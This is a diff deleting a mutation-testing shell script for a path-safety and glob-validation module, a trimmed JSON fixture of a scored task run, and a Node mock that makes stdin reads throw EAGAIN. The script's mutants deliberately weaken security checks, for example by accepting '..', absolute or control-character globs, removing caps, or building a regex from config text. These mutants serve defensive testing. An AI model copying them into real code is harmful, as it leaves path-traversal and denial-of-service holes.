pf 'a test file name not recognised' 'a test file is not a production file' " || TEST_FILES.some((g) => segMatch(g, segs.at(-1) ?? ''))" ''
|
|
232
|
-
pf 'the deny floor left out of the aggregates' "$T_DENY" 'const floor = denied ? [DENY_LIST] : [];' 'const floor = [];'
|
|
233
|
-
pf 'a hostile entry not floored' "$T_UNUSABLE" 'const denied = !usable || denyListed(raw);' 'const denied = usable && denyListed(raw);'
|
|
234
|
-
pf 'a list over the count cap classified' "$T_UNUSABLE" 'Array.isArray(paths) && paths.length <= MAX_PATHS && ' 'Array.isArray(paths) && '
|
|
235
|
-
pf 'a long path echoed' "$T_UNUSABLE" "path: usable ? raw : ''," 'path: raw,'
|
|
236
|
-
pf 'the module key loses its container' 'one name under two containers' '`${segs[0]}/${segs[1]}`' 'segs[1]'
|
|
237
|
-
pf 'the module count counts files' 'one name under two containers' 'modules: new Set(files.map((f) => f.module)).size' 'modules: files.length'
|
|
238
|
-
pf 'a root file keyed by its name' 'module key: first segment' "if (segs.length < 2) return '';" ''
|
|
239
|
-
pf 'a file in a container keyed by its name' "$T_KEY" 'containers.has(head) && segs.length > 2' 'containers.has(head)'
|
|
240
|
-
pf 'case folding removed' 'matching is case-folded' "denyListed, foldName as fold, trimDots as trim } from './path-safety.mjs';" "denyListed, trimDots as trim } from './path-safety.mjs'; const fold = (s) => s;"
|
|
241
|
-
pf 'the module key is folded' 'the module key keeps the case' '`${segs[0]}/${segs[1]}` : segs[0]' '`${segs[0]}/${segs[1]}`.toLowerCase() : segs[0].toLowerCase()'
|
|
242
|
-
pf 'the container match is not folded' 'the module key keeps the case' 'const head = trim(fold(segs[0]));' 'const head = trim(segs[0]);'
|
|
243
|
-
T_TRIM='the trim is an extra reading'
|
|
244
|
-
pf 'the trimmed readings dropped' 'a trailing dot or space on a segment' '[p, trimmed(p), r, trimmed(r)]' '[p, r]'
|
|
245
|
-
pf 'the untrimmed readings dropped' "$T_TRIM" '[p, trimmed(p), r, trimmed(r)]' '[trimmed(p), trimmed(r)]'
|
|
246
|
-
T_FOLDSEP='a code point that folds to a separator'
|
|
247
|
-
pf 'the re-split readings dropped' "$T_FOLDSEP: the primary" '[p, trimmed(p), r, trimmed(r)]' '[p, trimmed(p)]'
|
|
248
|
-
pf 'the primary reading is the re-split one' "$T_FOLDSEP stays inside" 'const split = (s) => parts(s).map(fold);' 'const split = (s) => parts(fold(s));'
|
|
249
|
-
pf 'the test judgement reads the trimmed segments' 'a name that trims to a test directory' 'production: !isTest(segs)' 'production: !isTest(trimmed(segs))'
|
|
250
|
-
T_GTRIM='a glob or a container written with a trailing dot or space'
|
|
251
|
-
pf 'a container lookup reads the first segment as written' "$T_GTRIM" 'const head = trim(fold(segs[0]));' 'const head = fold(segs[0]);'
|
|
252
|
-
pf 'a container name keeps its trailing dot' "$T_GTRIM" 'const s = globParts(g); return s.length === 1' 'const s = split(g); return s.length === 1'
|
|
253
|
-
pf 'a glob keeps its trailing dot' "$T_GTRIM" "? globParts(glob) : ['**', ...globParts(glob)]" "? split(glob) : ['**', ...split(glob)]"
|
|
254
|
-
pf 'a glob that trims to nothing accepted' "$T_HOSTILE" ' && globParts(g).length > 0' ''
|
|
255
|
-
pf 'a glob whose trim leaves only wildcards accepted' "$T_HOSTILE" ' && !widened(g)' ''
|
|
256
|
-
pf 'a glob that trims to nothing is judged untrimmed' "$T_HOSTILE" 'globParts(g).length > 0' 'split(g).length > 0'
|
|
257
|
-
pf 'the unusable-entry module key can collide with a real segment' 'an unusable entry has a module key no real path can have' '`/?${i}`' '`?${i}`'
|
|
258
|
-
pf 'a glob with a slash not anchored' "$T_DIR" "/[\\\\/]/.test(glob) ? globParts(glob) : ['**', ...globParts(glob)]" "['**', ...globParts(glob)]"
|
|
259
|
-
pf 'a ** segment read as one segment' "$T_DIR" "part === '**'" 'part === "\0"'
|
|
260
|
-
pf 'a ** step restarts from every position' 'nested-quantifier shapes' 'for (let k = Math.min(...at); k <= segs.length; k++) next.add(k);' 'for (const pos of at) for (let k = pos; k <= segs.length; k++) next.add(k);'
|
|
261
|
-
pf 'a test directory named fixtures' 'a test file is not a production file' "'e2e', '__mocks__'" "'e2e', 'fixtures', '__mocks__'"
|
|
262
|
-
pf 'layers read as the last one only' 'a later layer, valid, empty' 'Array.isArray(l) ? l : [l]' 'Array.isArray(l) ? l.slice(-1) : [l]'
|
|
263
|
-
pf 'one invalid key drops the whole layer' 'one invalid key drops only itself' 'if (bounded(globs, validGlob)) out' 'if (bounded(globs, validGlob) && bounded(names, validGlob)) out'
|
|
264
|
-
pf 'an unusable list reported as one entry' 'an unusable list reports the counts' 'Array(MAX_PATHS).fill(null)' '[null]'
|
|
265
|
-
pf 'a glob no longer matches what is under its directory' "$T_DIR" 'return at.size > 0;' 'return at.has(segs.length);'
|
|
266
|
-
pf 'a star cannot backtrack' "$T_LIT" 'else if (star >= 0) { i = star + 1; j = ++mark; }' ''
|
|
267
|
-
pf 'the matcher builds a regex from config text' "$T_LIT" 'function segMatch(p, s) {' 'function segMatch(p, s) { return new RegExp(`^${p.replace(/\*/g, ".*").replace(/\?/g, ".")}$`).test(s); }
|
|
268
|
-
function segMatchUnused(p, s) {'
|
|
269
|
-
pf 'the glob length cap removed' 'a glob whose fold exceeds the glob cap' ' && g.length <= MAX_GLOB_CHARS' ''
|
|
270
|
-
pf 'the glob count cap off by one' "$T_HOSTILE" 'v.length <= MAX_GLOBS' 'v.length <= MAX_GLOBS + 1'
|
|
271
|
-
pf 'a glob with .. accepted' "$T_HOSTILE" " && !g.includes('..')" ''
|
|
272
|
-
pf 'an absolute glob accepted' "$T_HOSTILE" ' && !/^(?:[\\/]|[a-z]:)/i.test(g)' ''
|
|
273
|
-
pf 'a glob with control characters accepted' "$T_HOSTILE" '!/[\p{C}\p{Zl}\p{Zp}]/u.test(g) && ' ''
|
|
274
|
-
pf 'a non-array section accepted' "$T_HOSTILE" 'Array.isArray(v) && ' ''
|
|
275
|
-
# the ci class, the layer cap and the folded caps
|
|
276
|
-
T_CI='every CI system is a ci hit'
|
|
277
|
-
pf 'the ci list emptied' "$T_CI" "ci: ['.github'," "cx: ['.github',"
|
|
278
|
-
pf 'a CI system dropped from the ci list' "$T_CI" "'.circleci', " ''
|
|
279
|
-
pf 'config removes the ci class' 'a config cannot remove the ci class' "const sensitive = [...SENSITIVE, ['config', extra.sensitive]];" "const sensitive = [...SENSITIVE.filter(([n]) => n !== 'ci' || extra.sensitive.length === 0), ['config', extra.sensitive]];"
|
|
280
|
-
pf 'the loadConfig result read as one layer' "loadConfig's {global, project} result is the layers" '[l.global.config, l.project.config]' '[l.config]'
|
|
281
|
-
pf 'the loadConfig result read as the global layer only' "loadConfig's {global, project} result is the layers" '[l.global.config, l.project.config]' '[l.global.config]'
|
|
282
|
-
pf 'the path cap counts the raw text only' 'a path whose fold exceeds the path cap' ' && fold(raw).length <= MAX_PATH_CHARS' ''
|
|
283
|
-
pf 'the glob cap counts the raw text only' 'a glob whose fold exceeds the glob cap' ' && fold(g).length <= MAX_GLOB_CHARS' ''
|
|
284
|
-
pf 'the layer cap removed' 'more layers than loadConfig supplies' ' && layerList.length <= MAX_LAYERS' ''
|
|
285
|
-
pf 'a refused key is not reported' 'a refused key is named in refused' "; else out.refused.push('sensitive_paths');" ';'
|
|
286
|
-
pf 'a wildcard then a dot segment still widens nothing' "$T_HOSTILE" "(t === '' && wild(r[i - 1] ?? ''))" 'false'
|
|
287
|
-
pf 'adjacent ** segments not collapsed' 'adjacent ** segments in a glob are one step' 'const compile = (glob) => collapse(' 'const compile = (glob) => ((x) => x)('
|
|
288
|
-
|
|
289
|
-
# A stray exported seam must change nothing: the timed cost check and the real-hook parity check still run.
|
|
290
|
-
# Stated residual: this runs the real module with a stray value, not a stale copy that is named like a sentinel; the guard under test is the exact comparison.
|
|
291
|
-
stray="$(env SKIP_TIMED=1 SECRET_HOOK_SOURCE=/dev/null node "$PFT" "$PF" 2>&1; env SKIP_TIMED=1 SECRET_HOOK_SOURCE=/dev/null node "$PST" "$PS" 2>&1)"
|
|
292
|
-
if grep -qF ' ok nested-quantifier shapes' <<<"$stray" && grep -qF ' ok the hook secret-name patterns and the representative table' <<<"$stray" && ! grep -qF ' skip nested-quantifier' <<<"$stray" && ! grep -qF ' skip adjacent' <<<"$stray"; then ok 'a stray exported SKIP_TIMED and SECRET_HOOK_SOURCE skip and repoint nothing'; else bad 'a stray exported SKIP_TIMED or SECRET_HOOK_SOURCE changed a check'; fi
|
|
293
|
-
|
|
294
|
-
total=$((pass + fail))
|
|
295
|
-
echo "SUMMARY $total checks, $fail failed"
|
|
296
|
-
[ "$fail" = 0 ]
|
|
@@ -1,50 +0,0 @@
|
|
|
1
|
-
{
|
|
2
|
-
"sha": "4ff4da62caff23248f9d057c6bc9046a8a22ecf6",
|
|
3
|
-
"taskId": "01",
|
|
4
|
-
"run": {
|
|
5
|
-
"index": 0,
|
|
6
|
-
"dimensions": {
|
|
7
|
-
"S2": true,
|
|
8
|
-
"S7": true,
|
|
9
|
-
"S1": true,
|
|
10
|
-
"S6": true,
|
|
11
|
-
"S3": true
|
|
12
|
-
},
|
|
13
|
-
"criteria": [
|
|
14
|
-
{
|
|
15
|
-
"n": 1,
|
|
16
|
-
"verdict": "pass",
|
|
17
|
-
"evidence": "(trimmed)"
|
|
18
|
-
},
|
|
19
|
-
{
|
|
20
|
-
"n": 2,
|
|
21
|
-
"verdict": "pass",
|
|
22
|
-
"evidence": "(trimmed)"
|
|
23
|
-
},
|
|
24
|
-
{
|
|
25
|
-
"n": 3,
|
|
26
|
-
"verdict": "pass",
|
|
27
|
-
"evidence": "(trimmed)"
|
|
28
|
-
},
|
|
29
|
-
{
|
|
30
|
-
"n": 4,
|
|
31
|
-
"verdict": "pass",
|
|
32
|
-
"evidence": "(trimmed)"
|
|
33
|
-
},
|
|
34
|
-
{
|
|
35
|
-
"n": 5,
|
|
36
|
-
"verdict": "pass",
|
|
37
|
-
"evidence": "(trimmed)"
|
|
38
|
-
},
|
|
39
|
-
{
|
|
40
|
-
"n": 6,
|
|
41
|
-
"verdict": "pass",
|
|
42
|
-
"evidence": "(trimmed)"
|
|
43
|
-
}
|
|
44
|
-
],
|
|
45
|
-
"transcript": "(transcript omitted: this fixture is a trimmed copy of a real pre-schema shard; only its shape matters)",
|
|
46
|
-
"decisionsMd": null,
|
|
47
|
-
"error": null,
|
|
48
|
-
"rescored": true
|
|
49
|
-
}
|
|
50
|
-
}
|
|
@@ -1,18 +0,0 @@
|
|
|
1
|
-
// Node --require preload: makes fs.readFileSync(0, …) throw EAGAIN instead of returning
|
|
2
|
-
// data, standing in for a synchronous fd-0 read failure. Used to reproduce, platform-
|
|
3
|
-
// independently, the class of bug Windows hits for real when stdin is a TTY console handle
|
|
4
|
-
// (fs.readFileSync(0) on Windows throws EAGAIN there rather than blocking, the POSIX
|
|
5
|
-
// behavior — see nodejs/node#19831). Mutates the shared node:fs module object, which the
|
|
6
|
-
// ESM target under test observes via `import fs from 'node:fs'` (same underlying object).
|
|
7
|
-
'use strict';
|
|
8
|
-
const fs = require('fs');
|
|
9
|
-
const realReadFileSync = fs.readFileSync;
|
|
10
|
-
fs.readFileSync = function mockReadFileSync(fd, ...rest) {
|
|
11
|
-
if (fd === 0) {
|
|
12
|
-
const err = new Error('EAGAIN: resource temporarily unavailable, read');
|
|
13
|
-
err.code = 'EAGAIN';
|
|
14
|
-
err.syscall = 'read';
|
|
15
|
-
throw err;
|
|
16
|
-
}
|
|
17
|
-
return realReadFileSync.call(fs, fd, ...rest);
|
|
18
|
-
};
|